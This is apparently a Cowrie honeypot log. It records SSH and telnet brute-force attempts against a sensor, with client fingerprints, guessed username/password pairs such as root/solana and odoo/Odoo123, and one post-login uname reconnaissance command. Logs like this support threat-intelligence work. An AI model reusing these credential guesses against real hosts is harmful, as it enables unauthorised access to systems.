{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"6223ea2ac9bc","protocol":"ssh","message":"New connection: 130.250.191.201:43686 (10.17.0.5:22) [session: 6223ea2ac9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:25.099274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:25.103270Z","src_ip":"130.250.191.201","session":"6223ea2ac9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:25.350003Z","src_ip":"130.250.191.201","session":"6223ea2ac9bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:26.461165Z","src_ip":"130.250.191.201","session":"6223ea2ac9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:26.703160Z","src_ip":"130.250.191.201","session":"6223ea2ac9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:26.720324Z","src_ip":"130.250.191.201","session":"902f4fd8153f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":38082,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed1a709bc3c","protocol":"ssh","message":"New connection: 165.154.22.233:38082 (10.17.0.5:22) [session: 8ed1a709bc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:54.562793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:54.567551Z","src_ip":"165.154.22.233","session":"8ed1a709bc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:54.788037Z","src_ip":"165.154.22.233","session":"8ed1a709bc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syj","password":"syj","message":"login attempt [syj/syj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:55.636142Z","src_ip":"165.154.22.233","session":"8ed1a709bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":46192,"dst_ip":"10.17.0.5","dst_port":22,"session":"8621c8ffc2ba","protocol":"ssh","message":"New connection: 101.36.108.125:46192 (10.17.0.5:22) [session: 8621c8ffc2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.736381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.740645Z","src_ip":"101.36.108.125","session":"8621c8ffc2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.854357Z","src_ip":"165.154.22.233","session":"8ed1a709bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3cfd0c173c","protocol":"ssh","message":"New connection: 193.32.162.145:43514 (10.17.0.5:22) [session: aa3cfd0c173c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.942775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.948893Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:56.958791Z","src_ip":"101.36.108.125","session":"8621c8ffc2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.052383Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.534513Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":53322,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5cf6a9a648","protocol":"ssh","message":"New connection: 201.16.238.49:53322 (10.17.0.5:22) [session: cd5cf6a9a648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.589597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.594050Z","src_ip":"201.16.238.49","session":"cd5cf6a9a648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.739737Z","src_ip":"201.16.238.49","session":"cd5cf6a9a648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"Odoo123","message":"login attempt [odoo/Odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.864187Z","src_ip":"101.36.108.125","session":"8621c8ffc2ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.933800Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:57.935979Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:58.044361Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:58.049177Z","src_ip":"193.32.162.145","session":"aa3cfd0c173c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"Linux123","message":"login attempt [linux/Linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:58.362404Z","src_ip":"201.16.238.49","session":"cd5cf6a9a648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:59.085667Z","src_ip":"101.36.108.125","session":"8621c8ffc2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:18:59.505571Z","src_ip":"201.16.238.49","session":"cd5cf6a9a648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.138.20.17","src_port":40446,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f06181f5120","protocol":"telnet","message":"New connection: 116.138.20.17:40446 (10.17.0.5:23) [session: 8f06181f5120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:02.132584Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":44912,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5bf17af575","protocol":"ssh","message":"New connection: 170.238.160.191:44912 (10.17.0.5:22) [session: cc5bf17af575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:09.336799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:09.341778Z","src_ip":"170.238.160.191","session":"cc5bf17af575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:09.450572Z","src_ip":"170.238.160.191","session":"cc5bf17af575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"Linux123","message":"login attempt [linux/Linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:09.917969Z","src_ip":"170.238.160.191","session":"cc5bf17af575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:11.030084Z","src_ip":"170.238.160.191","session":"cc5bf17af575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.538432598114014,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:15.670884Z","src_ip":"116.138.20.17","session":"8f06181f5120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45922,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebe3dae98c44","protocol":"ssh","message":"New connection: 195.178.110.218:45922 (10.17.0.5:22) [session: ebe3dae98c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:28.171833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:28.176088Z","src_ip":"195.178.110.218","session":"ebe3dae98c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:28.255479Z","src_ip":"195.178.110.218","session":"ebe3dae98c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:28.494441Z","src_ip":"195.178.110.218","session":"ebe3dae98c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:19:29.576416Z","src_ip":"195.178.110.218","session":"ebe3dae98c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41632,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba52eb5241ab","protocol":"ssh","message":"New connection: 2.57.122.210:41632 (159.203.135.109:22) [session: ba52eb5241ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:25.790376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:25.795188Z","src_ip":"2.57.122.210","session":"ba52eb5241ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:25.899077Z","src_ip":"2.57.122.210","session":"ba52eb5241ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin","message":"login attempt [sol/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:26.226707Z","src_ip":"2.57.122.210","session":"ba52eb5241ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:27.332884Z","src_ip":"2.57.122.210","session":"ba52eb5241ab","protocol":"ssh"}
